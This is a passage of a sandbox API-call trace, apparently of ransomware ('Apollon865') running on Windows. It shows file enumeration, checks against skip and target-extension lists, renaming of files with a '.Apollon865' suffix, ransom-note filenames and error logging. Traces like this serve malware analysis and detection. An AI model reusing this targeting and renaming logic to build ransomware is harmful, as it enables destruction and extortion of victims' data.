	[0084.967] CloseHandle (hObject=0x0) returned 0
	[0084.967] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd82e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.967] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.967] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0084.967] lstrcmpiW (lpString1="netfol.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.967] lstrcmpiW (lpString1="netfol.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.967] lstrcpyW (in: lpString1=0x119e6b4, lpString2="netfol.ico" | out: lpString1="netfol.ico") returned="netfol.ico"
	[0084.968] lstrlenW (lpString="netfol.ico") returned 10
	[0084.968] lstrlenW (lpString="Apollon865") returned 10
	[0084.968] lstrlenW (lpString=".dll") returned 4
	[0084.968] lstrcmpiW (lpString1="netfol.ico", lpString2=".dll") returned 1
	[0084.968] lstrlenW (lpString=".lnk") returned 4
	[0084.968] lstrcmpiW (lpString1="netfol.ico", lpString2=".lnk") returned 1
	[0084.968] lstrlenW (lpString=".ini") returned 4
	[0084.968] lstrcmpiW (lpString1="netfol.ico", lpString2=".ini") returned 1
	[0084.968] lstrlenW (lpString=".sys") returned 4
	[0084.968] lstrcmpiW (lpString1="netfol.ico", lpString2=".sys") returned 1
	[0084.968] lstrlenW (lpString="netfol.ico") returned 10
	[0084.968] lstrlenW (lpString="bak") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0084.968] lstrlenW (lpString="ba_") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0084.968] lstrlenW (lpString="dbb") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0084.968] lstrlenW (lpString="vmdk") returned 4
	[0084.968] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0084.968] lstrlenW (lpString="rar") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0084.968] lstrlenW (lpString="zip") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0084.968] lstrlenW (lpString="tgz") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0084.968] lstrlenW (lpString="vbox") returned 4
	[0084.968] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0084.968] lstrlenW (lpString="vdi") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0084.968] lstrlenW (lpString="vhd") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0084.968] lstrlenW (lpString="vhdx") returned 4
	[0084.968] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0084.968] lstrlenW (lpString="avhd") returned 4
	[0084.968] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0084.968] lstrlenW (lpString="db") returned 2
	[0084.968] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0084.968] lstrlenW (lpString="db2") returned 3
	[0084.968] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0084.969] lstrlenW (lpString="db3") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0084.969] lstrlenW (lpString="dbf") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0084.969] lstrlenW (lpString="mdf") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0084.969] lstrlenW (lpString="mdb") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0084.969] lstrlenW (lpString="sql") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0084.969] lstrlenW (lpString="sqlite") returned 6
	[0084.969] lstrcmpiW (lpString1="ol.ico", lpString2="sqlite") returned -1
	[0084.969] lstrlenW (lpString="sqlite3") returned 7
	[0084.969] lstrcmpiW (lpString1="fol.ico", lpString2="sqlite3") returned -1
	[0084.969] lstrlenW (lpString="sqlitedb") returned 8
	[0084.969] lstrcmpiW (lpString1="tfol.ico", lpString2="sqlitedb") returned 1
	[0084.969] lstrlenW (lpString="xml") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0084.969] lstrlenW (lpString="$er") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0084.969] lstrlenW (lpString="4dd") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0084.969] lstrlenW (lpString="4dl") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0084.969] lstrlenW (lpString="^^^") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0084.969] lstrlenW (lpString="abs") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0084.969] lstrlenW (lpString="abx") returned 3
	[0084.969] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0084.969] lstrlenW (lpString="accdb") returned 5
	[0084.969] lstrcmpiW (lpString1="l.ico", lpString2="accdb") returned 1
	[0084.969] lstrlenW (lpString="accdc") returned 5
	[0084.969] lstrcmpiW (lpString1="l.ico", lpString2="accdc") returned 1
	[0084.969] lstrlenW (lpString="accde") returned 5
	[0084.969] lstrcmpiW (lpString1="l.ico", lpString2="accde") returned 1
	[0084.969] lstrlenW (lpString="accdr") returned 5
	[0084.970] lstrcmpiW (lpString1="l.ico", lpString2="accdr") returned 1
	[0084.970] lstrlenW (lpString="accdt") returned 5
	[0084.970] lstrcmpiW (lpString1="l.ico", lpString2="accdt") returned 1
	[0084.970] lstrlenW (lpString="accdw") returned 5
	[0084.970] lstrcmpiW (lpString1="l.ico", lpString2="accdw") returned 1
	[0084.970] lstrlenW (lpString="accft") returned 5
	[0084.970] lstrcmpiW (lpString1="l.ico", lpString2="accft") returned 1
	[0084.970] lstrlenW (lpString="adb") returned 3
	[0084.970] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.970] lstrlenW (lpString="adb") returned 3
	[0084.970] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.970] lstrlenW (lpString="ade") returned 3
	[0084.970] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0084.970] lstrlenW (lpString="adf") returned 3
	[0084.970] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0084.970] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico.Apollon865") returned 107
	[0084.970] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.970] GetLastError () returned 0x5
	[0084.970] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico MoveFileEx error 5\r\n") returned 125
	[0084.970] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico MoveFileEx error 5\r\n") returned 125
	[0084.970] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.971] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5b17
	[0084.971] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7d, lpOverlapped=0x0) returned 1
	[0084.971] CloseHandle (hObject=0x9c) returned 1
	[0084.971] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.971] CloseHandle (hObject=0x0) returned 0
	[0084.971] CloseHandle (hObject=0x0) returned 0
	[0084.971] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1
	[0084.971] lstrcmpiW (lpString1="pictures.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.971] lstrcmpiW (lpString1="pictures.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.971] lstrcpyW (in: lpString1=0x119e6b4, lpString2="pictures.ico" | out: lpString1="pictures.ico") returned="pictures.ico"
	[0084.971] lstrlenW (lpString="pictures.ico") returned 12
	[0084.971] lstrlenW (lpString="Apollon865") returned 10
	[0084.971] lstrcmpiW (lpString1="ctures.ico", lpString2="Apollon865") returned 1
	[0084.972] lstrlenW (lpString=".dll") returned 4
	[0084.972] lstrcmpiW (lpString1="pictures.ico", lpString2=".dll") returned 1
	[0084.972] lstrlenW (lpString=".lnk") returned 4
	[0084.972] lstrcmpiW (lpString1="pictures.ico", lpString2=".lnk") returned 1
	[0084.972] lstrlenW (lpString=".ini") returned 4
	[0084.972] lstrcmpiW (lpString1="pictures.ico", lpString2=".ini") returned 1
	[0084.972] lstrlenW (lpString=".sys") returned 4
	[0084.972] lstrcmpiW (lpString1="pictures.ico", lpString2=".sys") returned 1
	[0084.972] lstrlenW (lpString="pictures.ico") returned 12
	[0084.972] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico.Apollon865") returned 109
	[0084.972] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.972] GetLastError () returned 0x5
	[0084.972] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico MoveFileEx error 5\r\n") returned 127
	[0084.972] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico MoveFileEx error 5\r\n") returned 127
	[0084.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.972] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5b94
	[0084.972] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7f, lpOverlapped=0x0) returned 1
	[0084.973] CloseHandle (hObject=0x9c) returned 1
	[0084.973] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.973] CloseHandle (hObject=0x0) returned 0
	[0084.973] CloseHandle (hObject=0x0) returned 0
	[0084.973] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0084.973] lstrcmpiW (lpString1="resource.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.973] lstrcmpiW (lpString1="resource.xml", lpString2="Apollon865.txt.exe") returned 1
	[0084.973] lstrcpyW (in: lpString1=0x119e6b4, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0084.973] lstrlenW (lpString="resource.xml") returned 12
	[0084.973] lstrlenW (lpString="Apollon865") returned 10
	[0084.973] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0084.973] lstrlenW (lpString=".dll") returned 4
	[0084.973] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0084.973] lstrlenW (lpString=".lnk") returned 4
	[0084.973] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0084.973] lstrlenW (lpString=".ini") returned 4
	[0084.973] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0084.973] lstrlenW (lpString=".sys") returned 4
	[0084.973] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0084.973] lstrlenW (lpString="resource.xml") returned 12
	[0084.974] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0084.974] lstrcmpiW (lpString1="ringtones.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.974] lstrcmpiW (lpString1="ringtones.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.974] lstrcpyW (in: lpString1=0x119e6b4, lpString2="ringtones.ico" | out: lpString1="ringtones.ico") returned="ringtones.ico"
	[0084.974] lstrlenW (lpString="ringtones.ico") returned 13
	[0084.974] lstrlenW (lpString="Apollon865") returned 10
	[0084.974] lstrcmpiW (lpString1="gtones.ico", lpString2="Apollon865") returned 1
	[0084.975] lstrlenW (lpString=".dll") returned 4
	[0084.975] lstrcmpiW (lpString1="ringtones.ico", lpString2=".dll") returned 1
	[0084.975] lstrlenW (lpString=".lnk") returned 4
	[0084.975] lstrcmpiW (lpString1="ringtones.ico", lpString2=".lnk") returned 1
	[0084.975] lstrlenW (lpString=".ini") returned 4
	[0084.975] lstrcmpiW (lpString1="ringtones.ico", lpString2=".ini") returned 1
	[0084.975] lstrlenW (lpString=".sys") returned 4
	[0084.975] lstrcmpiW (lpString1="ringtones.ico", lpString2=".sys") returned 1
	[0084.975] lstrlenW (lpString="ringtones.ico") returned 13
	[0084.975] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico.Apollon865") returned 110
	[0084.975] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.975] GetLastError () returned 0x5
	[0084.975] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico MoveFileEx error 5\r\n") returned 128
	[0084.975] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico MoveFileEx error 5\r\n") returned 128
	[0084.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.975] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5c13
	[0084.975] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x80, lpOverlapped=0x0) returned 1
	[0084.976] CloseHandle (hObject=0x9c) returned 1
	[0084.976] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.976] CloseHandle (hObject=0x0) returned 0
	[0084.976] CloseHandle (hObject=0x0) returned 0
	[0084.976] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1
	[0084.976] lstrcmpiW (lpString1="settings.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.976] lstrcmpiW (lpString1="settings.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.976] lstrcpyW (in: lpString1=0x119e6b4, lpString2="settings.ico" | out: lpString1="settings.ico") returned="settings.ico"
	[0084.976] lstrlenW (lpString="settings.ico") returned 12
	[0084.976] lstrlenW (lpString="Apollon865") returned 10
	[0084.976] lstrcmpiW (lpString1="ttings.ico", lpString2="Apollon865") returned 1
	[0084.976] lstrlenW (lpString=".dll") returned 4
	[0084.976] lstrcmpiW (lpString1="settings.ico", lpString2=".dll") returned 1
	[0084.976] lstrlenW (lpString=".lnk") returned 4
	[0084.976] lstrcmpiW (lpString1="settings.ico", lpString2=".lnk") returned 1
	[0084.976] lstrlenW (lpString=".ini") returned 4
	[0084.976] lstrcmpiW (lpString1="settings.ico", lpString2=".ini") returned 1
	[0084.976] lstrlenW (lpString=".sys") returned 4
	[0084.976] lstrcmpiW (lpString1="settings.ico", lpString2=".sys") returned 1
	[0084.976] lstrlenW (lpString="settings.ico") returned 12
	[0084.977] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico.Apollon865") returned 109
	[0084.977] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.977] GetLastError () returned 0x5
	[0084.977] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico MoveFileEx error 5\r\n") returned 127
	[0084.977] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico MoveFileEx error 5\r\n") returned 127
	[0084.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.977] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5c93
	[0084.977] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7f, lpOverlapped=0x0) returned 1
	[0084.977] CloseHandle (hObject=0x9c) returned 1
	[0084.977] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.978] CloseHandle (hObject=0x0) returned 0
	[0084.978] CloseHandle (hObject=0x0) returned 0
	[0084.978] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1
	[0084.978] lstrcmpiW (lpString1="sync.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.978] lstrcmpiW (lpString1="sync.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.978] lstrcpyW (in: lpString1=0x119e6b4, lpString2="sync.ico" | out: lpString1="sync.ico") returned="sync.ico"
	[0084.978] lstrlenW (lpString="sync.ico") returned 8
	[0084.978] lstrlenW (lpString="Apollon865") returned 10
	[0084.978] lstrlenW (lpString=".dll") returned 4
	[0084.978] lstrcmpiW (lpString1="sync.ico", lpString2=".dll") returned 1
	[0084.978] lstrlenW (lpString=".lnk") returned 4
	[0084.978] lstrcmpiW (lpString1="sync.ico", lpString2=".lnk") returned 1
	[0084.978] lstrlenW (lpString=".ini") returned 4
	[0084.978] lstrcmpiW (lpString1="sync.ico", lpString2=".ini") returned 1
	[0084.978] lstrlenW (lpString=".sys") returned 4
	[0084.978] lstrcmpiW (lpString1="sync.ico", lpString2=".sys") returned 1
	[0084.978] lstrlenW (lpString="sync.ico") returned 8
	[0084.978] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico.Apollon865") returned 105
	[0084.978] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.978] GetLastError () returned 0x5
	[0084.978] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico MoveFileEx error 5\r\n") returned 123
	[0084.978] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico MoveFileEx error 5\r\n") returned 123
	[0084.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.979] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5d12
	[0084.979] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7b, lpOverlapped=0x0) returned 1
	[0084.979] CloseHandle (hObject=0x9c) returned 1
	[0084.979] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.979] CloseHandle (hObject=0x0) returned 0
	[0084.979] CloseHandle (hObject=0x0) returned 0
